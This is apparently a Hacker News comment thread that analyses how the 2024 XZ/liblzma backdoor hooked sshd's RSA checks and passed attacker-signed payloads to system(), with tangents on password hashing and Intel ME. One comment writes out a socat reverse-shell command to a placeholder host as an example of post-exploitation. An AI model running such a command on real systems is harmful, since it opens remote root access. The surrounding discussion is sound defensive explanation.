News for hackers. Stuff that matters.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by chatmasta on Saturday March 30, 2024 @05:40PM (#39878947)
Can someone explain succinctly what the backdoor does? Do we even know yet? The backdoor itself is not a payload, right? Does it need a malicious archive to exploit it? Or does it hook into the sshd process to listen for malicious packets from a remote attacker?

The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC?

Basically, how does an attacker control a machine with this backdoor on it?

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by swid on Saturday March 30, 2024 @05:59PM (#39879082)
You can imagine a door that opens if you knock on it just right. For anyone without the secret knock, it appears and functions as a wall. Without the secret knock, there might not even be a way to prove it opens at all.

This is sort of the situation here. xz tries to decode some data before it does anything shady; since it is asymmetric; it can do the decryption without providing the secret encryption key (it has the public counterpart).

The exploit code may never be available, because it is not practical to find the secret key, and it doesn't do anything obviously different if the payload doesn't decrypt successfully. The only way to produce the exploit code would be if the secret key is found somehow; and the only real way for that to happen would be for the people who developed the backdoor to leak it.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by tialaramex on Saturday March 30, 2024 @08:52PM (#39880280)
Private key. In cryptography we distinguish keys which are symmetric (needed by both parties and unavailable to everyone else) as "Secret" keys, with the pair of keys used in public key cryptography identified as the Private key (typically known only to one person/ system/ whatever) and Public key (known to anybody who cares)

Thus, in most of today's systems today your password is a secret. You know your password and so does the system authenticating you. In contrast the crucial key for a web site's HTTPS is private. Visitors don't know this key, the people issuing the certificate don't know it, only the site itself has the key.

I remember this by the lyrics to "The Fly" by the band U2, "They say a secret is something you tell one other person. So I'm telling you, child".

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by SV_BubbleTime on Saturday March 30, 2024 @09:17PM (#39880440)
> You know your password and so does the system authenticating you.

Nitpick, but no it shouldn’t.

The HASH of your password is recorded. You never submit your password, you submit that hash and they compare it.

The difference is that there is no two passwords that collide; but there are hashes that may.

And that two equal passwords from two equal users are not necessarily accessible to someone with the hash list because they are modified at rest with salts.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by kevincox on Saturday March 30, 2024 @10:27PM (#39880796)
To really nitpick the server does have the password during authentication. The alternate would be a PAKE which is currently quite rare. (But probably should become the standard)
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by SV_BubbleTime on Sunday March 31, 2024 @10:26AM (#39884575)
I was going more for shouldn’t. You’re right, but for zero knowledge things like password managers where they specifically do not want your password.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by tialaramex on Sunday March 31, 2024 @02:45PM (#39886880)
I am aware of PAKEs, and I decided not to waste my time mentioning them because as usual the situation is:

Using a PAKE correctly would be safe, but that sounds like work

Just saying "Use a good password" is no work and you can pretend it's just as safe.

Real world systems using a PAKE are very rare. The most notable is WPA3 (and there are numerous scenarios where it's for nothing until WPA2 is long obsolete). Lots of systems which would use a PAKE if designed by a cryptographer were instead designed by engineers or managers for whom "Ooh, a hash with salt" sounds like a sophisticated modern technical solution rather than a long obsolete one.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by jamwil on Saturday March 30, 2024 @11:58PM (#39881283)
More an implementation detail than a conceptual distinction, though.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by AnonHP on Sunday March 31, 2024 @01:51AM (#39881790)
> Nitpick, but no it shouldn’t. The HASH of your password is recorded. You never submit your password, you submit that hash and they compare it.

Nitpick, but the password is submitted as-is by most client applications, and the server hashes the submitted password and compares it with the hash it has (of course, with salting).

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by armada651 on Sunday March 31, 2024 @03:20AM (#39882157)
> Nitpick, but the password is submitted as-is by most client applications, and the server hashes the submitted password and compares it with the hash it has (of course, with salting).

I never understood why clients are coded this way. It's trivially easy to send the salt to the client and have it do the hashing. Though I guess it doesn't really improve security in a lot of cases, because if you successfully MITM a web app you can just serve a compromised client.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by mr_mitm on Sunday March 31, 2024 @04:00AM (#39882358)
> I never understood why clients are coded this way.

Because it makes things less secure. If it was sufficient to send the hash to server to authenticate, and the server simply compares the hash sent by the user with the hash in its database, then the hash as actually the password. An attacker doesn't need to know the password anymore, as the hash is sufficient.

Hashing was introduced precisely because some vulnerabilities allow read access to the database. With hashed passwords, the attacker in such a situation has to perform a password guessing attack first to proceed. If it was sufficient to send the hash for authentication, the attacker would not need to guess anything.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by mr_mitm on Sunday March 31, 2024 @03:57AM (#39882341)
> You never submit your password, you submit that hash and they compare it.

That's not true. If that were the case, the hash is now the password and the server stores it in clear text. It defeats the entire purpose of hashing passwords.

Side note: that is (almost) how NTLM authentication works and why pass-the-hash is a thing in Windows networks.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by forty on Sunday March 31, 2024 @02:56AM (#39882032)
I have often seen the secret component of an asymmetric key pair referred as secret key as well. See libsodium for example. Maybe it's because curve/ed 25519 secrets are 32 random bytes unlike RSA keys which have specific structure which makes them distinct from generic secrets.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by tux3 on Sunday March 31, 2024 @04:46AM (#39882556)
It also allows "pk" and "sk" as overly short variable names, an argument developpers are sometimes tempted by!
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by forty on Sunday March 31, 2024 @11:17AM (#39885030)
Absolutely, it's very convenient when working on a whiteboard :)
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by kortilla on Sunday March 31, 2024 @03:13AM (#39882131)
Private keys are also “secrets” here in the security world.

“Vault secures, stores, and tightly controls access to tokens, passwords, certificates, API keys, and other secrets in modern computing”

Your distinction is not shared by the industry so it’s not something helpful to correct people on.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by tialaramex on Sunday March 31, 2024 @09:44AM (#39884179)
I don't think I can take seriously in this context a quote in which certificates (a type of public document) are also designated "secrets".

Like, sure, they're probably thinking of PKCS#12 files which actually have the private key inside them, not just the certificate, but when they are this sloppy of course they're going to use the wrong words.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by takeda on Saturday March 30, 2024 @09:54PM (#39880626)
I could be wrong, buy my understanding is that it isn't even a door. It simply allows anyone that has a certain private key, to send a payload that the server will execute. This won't produce any audit of someone logging in, you won't see any session etc.

Any Linux with this installed would basically become a bot that can be taken over. Perhaps they could send a payload to make it DDoS another host, or payload to open a shell or payload that would install another backdoor with more functionality, and to draw attention away from this one.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by Nathanba on Saturday March 30, 2024 @10:06PM (#39880679)
I understand that we may never see the secret knock but shouldn't we have the door and what's behind it now? Doesn't this mean that the code is quite literally too hard to figure out for a human being? It's not like he can send a full new executable binary that he simply executes, then we'd see that the door is e.g the exec() call. Honestly this attempt makes me think that the entire c/c++ language stack and ecosystem is the problem. All these software shenanigans should not be needed in a piece of software like openssh but it's possible because it's written in c/c++.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by djao on Sunday March 31, 2024 @12:27AM (#39881445)
The payload is simply remote code execution. But we'll never know the secret knock that triggers it, and we can't probe existing servers for the flaw because we don't konw the secret knock.

I imagine that we could in short order build ourselves a modified version of the malware, which contains a different secret knock, one that we know in advance, and then test what would have happened with the malware when the secret knock was given. But this still doesn't help us probe existing servers for the flaw, because those servers aren't running our modified version of the malware, they're running the original malware.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by ivlad on Sunday March 31, 2024 @12:36AM (#39881484)
This is literally what the top post link is about. The backdoor functionality has been (roughly) figured out: after decryption and signature verification it passes the payload received in the signing key of the clients authentication certificate to system().

C/C++ is not a problem here because sshd has to run things to open sessions for users.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by db48x on Sunday March 31, 2024 @12:38AM (#39881488)
All analogies are flawed, and we are rapidly approaching the point of madness.

Still, let me try. In this case, someone on the inside of the building looked in a dusty closet and saw a strange pair of hinges on the wall of the closet. Turns out that the wall of the closet is an exterior wall adjoining the alley back behind the building! At least they know which contractor built this part of the building.

Further examination revealed the locking mechanism that keeps the secret door closed until the correct knock is used. But because the lock is based on the deep mathematics of prime numbers, no mere examination of the lock will reveal the pattern of locks that will open it. The best you could do is sit there and try every possible knocking pattern until the door opens, and that would take the rest of your life, plus the rest of the lifetime of the Earth itself as well.

Incidentally, I could write the same exploit in rust or any other safe language; no language can protect against a malicious programmer.

As for detecting use of the back door, that's not entirely out of the question. However it sounds like it would not be as easy as logging every program that sshd calls exec on. But the audit subsystem should notice and record the activity for later use in your post–mortem investigation.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by creato on Sunday March 31, 2024 @12:53AM (#39881549)
> Honestly this attempt makes me think that the entire c/c++ language stack and ecosystem is the problem. All these software shenanigans should not be needed in a piece of software like openssh but it's possible because it's written in c/c++.

Nothing about this relies on a memory safety exploit. It's hard to figure out because it's a prebuilt binary and it's clever. Unless you meant "all compiled languages" and not C/C++ specifically, it's irrelevant.

The right thing to argue against based on your instinct (no one can figure out what is going on) is: it should be unacceptable for there to be prebuilt binaries committed to the source code.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by Cloudef on Sunday March 31, 2024 @02:48AM (#39882004)
Nothing here is something that could not be done in other languages. For example in Rust auditing this kind of supply chain attack is even more nightmarish if the project uses crates, as crates often are very small causing the "npm effect".

Another good example is docker images. The way people often build docker images is not that they are build all the way from the bottom. The bottom layer(s) is/are often some arbitrary image from arbitrary source which causes a huge supply chain attack risk.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by mrln on Sunday March 31, 2024 @05:05AM (#39882627)
It's not too hard to figure out. People are figuring it out. If anything is too hard, it's due to obfuscation - not C/C++ shenanigans. As far as I understand from scrolling through these comments, an attacker can send a command that is used with the system() libc call. So the attacker basically has a root shell.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by usrusr on Sunday March 31, 2024 @05:47AM (#39882805)
The "stuff behind the door" is conveniently uploaded with the secret knock. It's not there and it will never be because it's remotely executed without getting written down. The attacker does send executable code, singed and encrypted (or only one of them? It does not matter) with their private key. The door checks anything incoming for a match with the public key it has and executes when happy.

C++ has nothing to do with this, it's the dynamic linking mechanism that allows trusted code the things it allows trusted code to do (talking about the hooking that makes the key check possible, not about the execution that comes after - that is even more mundane, code can execute code, it's a von Neumann architecture after all).

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by zettabomb on Sunday March 31, 2024 @07:58AM (#39883458)
Can we stop the ridiculous C++ fearmongering? You can make vulnerable software in any language, and you can do social engineering on any software.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by nullc on Sunday March 31, 2024 @09:07AM (#39883922)
The people who are busy inserting backdoors in all the "rewrite it in rust" projects where anonymous never heard from before new to programming randos rewrite long trusted high security projects in rust would presumably very much like everyone elses attention directed elsewhere.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by crotchfire on Sunday March 31, 2024 @02:40PM (#39886814)
It's okay, the Cargo Lords promise me that because they require a git-hub account and agreeing to the git-hub terms of service before contributing, everything will be okay.

They pinky-swear.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by cjbprime on Sunday March 31, 2024 @12:51AM (#39881541)
It looks like the exploit path calls system() on attacker supplied input, if the check passes. I don't think we need to go into more detail than "it does whatever the attacker wants to on your computer, as root".
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by riedel on Sunday March 31, 2024 @07:12AM (#39883197)
In a way this is really responsible backdoor. In the end this is even less dangerous than most unreported 0-days collected by public and private actors. Absurdly, I would feel reasonably safe with the compromised versions. Somebody selling botnet host would never be so careful to limit collateral damage.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by plg94 on Saturday March 30, 2024 @06:08PM (#39879141)
I don't think we know what exactly this does, yet. I can only answer one of those questions, as far as I understand the "unreplayable" part is refering to this:

> Apparently the backdoor reverts back to regular operation if the payload is malformed or *the signature from the attacker's key doesn't verify*.

emphasis mine, note the "signature of the attacker's key". So unless that key is leaked, or someone breaks the RSA algorithm (in which case we have far bigger problems), it's impossible for someone else (researcher or third-party) to exploit this backdoor.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by rmi_ on Saturday March 30, 2024 @07:44PM (#39879780)
> So unless that key is leaked

But, just for replayability, we could "patch" the exploit with a known key and see what it does, don't we?

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by swid on Saturday March 30, 2024 @07:58PM (#39879883)
Replayability means something different in this context. First, we do know the backdoor will pass the payload to system, so in general it is like an attacker has access to bash, presumably as root since it is sshd.

Replayability means, if someone were to catch a payload in action which did use the exploit, you can’t resend the attacker’s data and have it work. It might contain something like a date or other data specific only to the context it came from. This makes a recorded attack less helpful for developing a test… since you can’t replay it.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by tialaramex on Saturday March 30, 2024 @09:02PM (#39880336)
> It might contain something like a date or other data specific only to the context it came from.

In all these modern protocols, including SSHv2 / SecSH (Sean Connery fans at the IETF evidently) both parties deliberately introduce random elements into a signed conversation as a liveness check - precisely to prevent replaying previous communications.

TLS 1.3's zero round-trip (ORT) mode cannot do this, which is why it basically says you'd better be damn sure you've figured out exactly why it's safe to use this, including every weird replay scenario and why it's technically sound in your design or else you must not enable it. We may yet regret the whole thing and just tell everybody to refuse it.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by usrusr on Sunday March 31, 2024 @05:57AM (#39882870)
What could be done, I think, is patch the exploit into logging the payload (and perhaps some network state?) instead of executing it to be able to analyse it. Analyse it, in the unlikely case that the owner of the key would still try their luck using it after discovery, on a patched system.

What it does: it's full RCE, remote code execution, it does whatever the attacker decides to upload. No mystery there.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by chii on Sunday March 31, 2024 @11:18AM (#39885036)
> see what it does

it does whatever the decrypted/signed payload tells the backdoor to execute - it's sent along with the key.

The backdoor is just that - a backdoor to let in that payload (which will have come from the attacker in the future when they're ready to use this backdoor).

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by cryptonector on Saturday March 30, 2024 @08:20PM (#39880037)
I don't understand yet where the "unreplayable" part comes from, but this isn't it.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by yencabulator on Sunday March 31, 2024 @12:12PM (#39885496)
Replayable: You observe attack against server A, you can take that attack and perform it against server B.

This attack is unreplayable because it cryptographically ties into the SSH host key of the server.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by cryptonector on Sunday March 31, 2024 @12:26PM (#39885624)
I know what replayable means. But even with your explanation of what makes it unreplayable it's not strictly true: you could replay the attack on the server it was originally played against.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by yencabulator on Sunday March 31, 2024 @12:34PM (#39885690)
Sure. But the interest is in being able to talk to server B to figure out if it's vulnerable; that's impossible, because the attack can't be replayed to it.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by cryptonector on Sunday March 31, 2024 @04:23PM (#39887730)
Thanks.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by cryptonector on Saturday March 30, 2024 @08:18PM (#39880021)
It's not using RSA. It's hooking RSA. And the attacker's signature is Ed448, not RSA.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by BlueFalconHD on Saturday March 30, 2024 @07:08PM (#39879551)
It would be really cool if in 20 years when we have quantum computers powerful enough we could see what this exploit does.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by denysvitali on Saturday March 30, 2024 @07:39PM (#39879748)
My understanding is that we know somehow already what the exploit allows the attacker to do - we just can't reproduce it because we don't have their private key.

Technically, we can modify the backdoor and embed our own public key - but there is no way to probe a random server on the internet and check if it's vulnerable (from a scanner perspective).

In a certain way it's a good thing - only the creator of the backdoor can access your vulnerable system...

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by tialaramex on Saturday March 30, 2024 @09:11PM (#39880391)
It's a NOBUS (Nobody But Us can use it) attack. The choice to use a private key means it's possible that even the person who submitted the tampered code doesn't have the private key, only some other entity controlling them does.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by kortilla on Sunday March 31, 2024 @03:17AM (#39882145)
We do know what it does. If it decrypts it just passes to system().
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by password4321 on Sunday March 31, 2024 @07:16AM (#39883208)
AFAIK still no luck with Gauss from 2012

https://securelist.com/gauss-abnormal-distribution/36620/

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by superb_dev on Saturday March 30, 2024 @07:09PM (#39879555)
This feels very targeted
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by Ekaros on Saturday March 30, 2024 @07:12PM (#39879567)
Or very untargeted. Something intended just to lay dormant by chance if succeeded...

It is very good backdoor to have if you at whatever time have dozens of options. See sshd running, test this you are done if it works, if not move to something else.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by dools on Saturday March 30, 2024 @07:27PM (#39879656)
Or targeted not really at doing anything but at researching the nature of supply chain vulnerabilities themselves.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by takeda on Saturday March 30, 2024 @10:07PM (#39880686)
This doesn't look like a research.

This looks like state sponsored attack. Imagine having a backdoor that you can just go to any Linux server and with your key you can make it execute any code you wish without any audit trail. And no one without the key can do it, so even if your citizens use such vulnerable system other states won't be able to use your backdoor.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by cjbprime on Sunday March 31, 2024 @12:53AM (#39881547)
Spending two years actually maintaining an open source project that you will later backdoor is a very expensive way to perform such research.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by yencabulator on Sunday March 31, 2024 @12:07PM (#39885451)
Untargeted (backdoor goes almost everywhere), but very selective (backdoor can only be triggered by the original attacker).

https://en.wikipedia.org/wiki/NOBUS

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by q3k on Saturday March 30, 2024 @06:11PM (#39879173)
> The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might never be available? Surely if we can reverse the code we can write a PoC?

Not if public-key cryptography was used correctly, and if there are no exploitable bugs.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by jnwatson on Saturday March 30, 2024 @08:43PM (#39880219)
We understand it completely. However, since determining the private key that corresponds to the public key embedded in the backdoor is practically infeasible, we can't actually exercise it. Someone could modify the code with a known ed448 private key and exercise it, but the point of having the PoC is to scan the internet and find vulnerable servers.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by snnn on Saturday March 30, 2024 @06:00PM (#39879099)
That's the most interesting part. No, we don't know it yet. The backdoor is so sophisticated that none of us can fully understand it. It is not a “usual” security bug.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by heresWaldo on Saturday March 30, 2024 @06:14PM (#39879195)
Yeah these types of security issues will be used by politicians to force hardware makers to lockdown hardware, embed software in chips.

The go fast startups habit of “import the world to make my company products” is a huge security issue IT workers ignore.

The only solution politics and big tech will chase is obsolete said job market by pulling more of the stack into locked down hardware, with updates only allowed to come from the gadget vendor.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by georgyo on Saturday March 30, 2024 @06:29PM (#39879312)
I'm not saying political forces won't try legislating the problem away, but that won't even help here.

A supply chain attack can happen in hardware or software. Hardware has firmware, which is software.

What makes this XZ attack so scary is that it was directly from a "trusted" source. A similar attack could come from any trusted source.

At least with software it is much easier to patch.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by heresWaldo on Saturday March 30, 2024 @11:04PM (#39880981)
Like you said it has firmware which is flashable. Secure enclaves are never 100% secure but if only, for example, Apple can upload to them, it dramatically reduces some random open source project being git pulled. Apple may still pull open source but they would be on the hook to avoid this.

Open sources days of declaring “use at your risk” have become a liability in this hyper networked society. It’s now becoming part of the problem it was imagined up to solve.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by avidiax on Saturday March 30, 2024 @06:33PM (#39879336)
The NSA demands that Intel and AMD provide backdoor ways to turn off the IME/PSP, which are basically a small OS running in a small processor inside your processor. So the precedent is that the government wants less embedded software in their hardware, at least for themselves.

If we relied on gadget vendors to maintain such software, I think we can just look at any IoT or router manufacturer to get an idea of just how often and for how long they will update the software. So that idea will probably backfire spectacularly if implemented.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by BlueFalconHD on Saturday March 30, 2024 @07:10PM (#39879560)
What does the IME or PSP do?
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by timschmidt on Saturday March 30, 2024 @07:27PM (#39879653)
Short answer: anything it wants.

IME has privileged access to the MMU(s), all system memory, and even out-of-band access to the network adapter such the the OS cannot inspect network traffic originating with or destined for the IME.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by CobrastanJorji on Sunday March 31, 2024 @01:13AM (#39881641)
Lots. It's basically an extra processor that runs at all times, even when your computer is supposedly "off." Its firmware is bigger than you'd think, like a complete Unix system big. It's frankly terrifying how powerful and opaque it is. It provides a lot around remote management for corporations, lots of "update the BIOS remotely" sort of features, and also a bunch of those stupid copy protection enforcement things. Plus some startup/shutdown stuff like Secure Boot.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by berkes on Saturday March 30, 2024 @06:30PM (#39879322)
Why would "embed software in chips" be a solution?

If anything, I'd expect it to be an even bigger risk, because when (not if) a security issue is found in the hardware, you now have no way to fix it, other than throwing out this server/fridge/toothbrush or whatever is running it.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by heresWaldo on Saturday March 30, 2024 @07:21PM (#39879619)
A flashable secure enclave segment in the hardware stack is an option to patch around embedded bugs.

I haven’t worked in hardware design since the era of Nortel, and it was way different back then but the general physics are the same; if, else, while, and math operations in the hardware are not hard.

In fact your hardware is a general while loop; while has power, iterate around refreshing these memory states with these computed values, even in the absence of user input (which at the root is turning it on).

Programmers have grown accustomed to being necessary to running ignorant business machines but that’s never been a real requirement. Just a socialized one. And such memes are dying off.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by WesolyKubeczek on Saturday March 30, 2024 @06:31PM (#39879328)
Which will make updates either expensive or impossible. You will be able to write books about exploitable bugs in the hardware, and those books will easily survive several editions.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by saagarjha on Sunday March 31, 2024 @01:37AM (#39881731)
It’s not that we can’t understand it, it’s just that work to understand it is ongoing.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by mrln on Sunday March 31, 2024 @05:14AM (#39882674)
What makes you say that? I haven't started reverse engineerinng it myself, but from all I have read, people who did have a very good understanding of what it does. They just can't use it themselves, because they would need to have the attacker's private key.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by junon on Saturday March 30, 2024 @07:36PM (#39879722)
Siblings saying "we don't know" haven't really groked the post I don't think.

If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding.

`system()` is a standard C function that takes a string as input and runs it through `sh`, like so:

    sh -c "whatever input"
It's used as a super rudimentary way to run arbitrary shell commands from a C program, using the `execl()` call under the hood, just like you'd run them on a bash/sh/fish/zsh/whatever command line.

    system("echo '!dlroW ,olleH' | rev");
Those commands run mostly in the same privilege context as the process that invoked `system()`. If the call to `system()` came from a program running as root, the executed command is also run as root.

The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now.

Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it.

It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located.

The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function.

It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication.

The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted.

Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally.

However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root.

Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself.

This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root.

From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example:

    socat TCP:example.com:1234 SYSTEM:"bash -l"
The possibilities are really endless. They'd effectively have a skeleton key that only they could use (or sell) that, with enough time for people to upgrade their version of `sshd`, would allow them access to just about any SSH server they could connect to, oftentimes with root permissions.

Hope that explains it a bit.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by Denvercoder9 on Saturday March 30, 2024 @09:10PM (#39880387)
> Siblings saying "we don't know" haven't really groked the post I don't think.

The reason for saying "we don't know" is not that we don't understand what's detailed in TFA, but that the backdoor embeds a 88 kB object file into liblzma, and nobody has fully reverse engineered and understood all that code yet. There might be other things lurking in there.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by sureglymop on Sunday March 31, 2024 @01:50AM (#39881787)
Thank you for the detailed write up. This made me think, why do we actually let sshd run as root? Would it be possible to only run a very unsophisticated ssh server as root that depending on the user specified in the incoming connection just coordinates that connection to the actual user and let the server run there? This could be so simplistic that a backdoor would more easily be detected.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by junon on Sunday March 31, 2024 @07:41AM (#39883327)
Because it needs to be able to spawn processes as any user.
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by takeda on Sunday March 31, 2024 @03:58AM (#39882342)
> They'd effectively have a skeleton key that only they could use (or sell) that

this looks more like state sponsored attack and it doesn't look like someone joining and at one point realizing they want to implement this backdoor.

The guy joined the project 2 years ago, developed a test framework (which he then used to hide binary of the backdoor in which appears that is complex and others are still figuring out how it works) then he gradually disabled various security checks before activating it.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by skywhopper on Saturday March 30, 2024 @06:07PM (#39879135)
From what I’ve read I think the attack vector is:

1. sshd starts and loads the libsystemd library which loads the XZ library which contains the hack

2. The XZ library injects its own versions of functions in openssl that verify RSA signatures

3. When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called

4. The certificate, in turn, can contain arbitrary data that in a normal login process would include assertions about username or role that would be used to determine if the certificate is valid for use logging in as the particular user. But if the hacked functions detect that the certificate was signed by a specific attacker key, they take some subfield of the certificate and execute it as a command on the system in the sshd context (ie, as the root user).

Unfortunately, we don’t know the attacker’s signing key, just the public key the hacked code uses to validate it. But basically this would give the attacker a way to run any command as root on any compromised system without leaving much of a trace, beyond the (presumably failed) login attempt, which any system on the internet will be getting a lot of anyway.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by ghostpepper on Saturday March 30, 2024 @06:43PM (#39879402)
> beyond the (presumably failed) login attempt

There is some evidence it's scrubbing logs so we might not even have that.

Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by Deathcrow on Sunday March 31, 2024 @02:13AM (#39881865)
Is there really a failed login attempts? If it never calls the real functions of ssh in case of their own cert+payload why would sshd log anything or even register a login attempt? Or does the backdoor function hook in after sshd already logged stuff?
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by numpad0 on Sunday March 31, 2024 @02:43AM (#39881988)
Depending on log level, isn't there going to be lines up to receiving the payload?
Re:XZ backdoor: "It's RCE, not auth bypass, and gated/unrepl... by skywhopper on Sunday March 31, 2024 @05:43AM (#39882787)
I think it would depend on logging level, yeah. I’ve not seen one way or another whether it aborts the login process or prevents logging, but that’s possible, and would obviously be a good idea. Then the question would be if you could detect the difference between a vulnerability-aborted login attempt and just a malformed/interrupted login attempt.

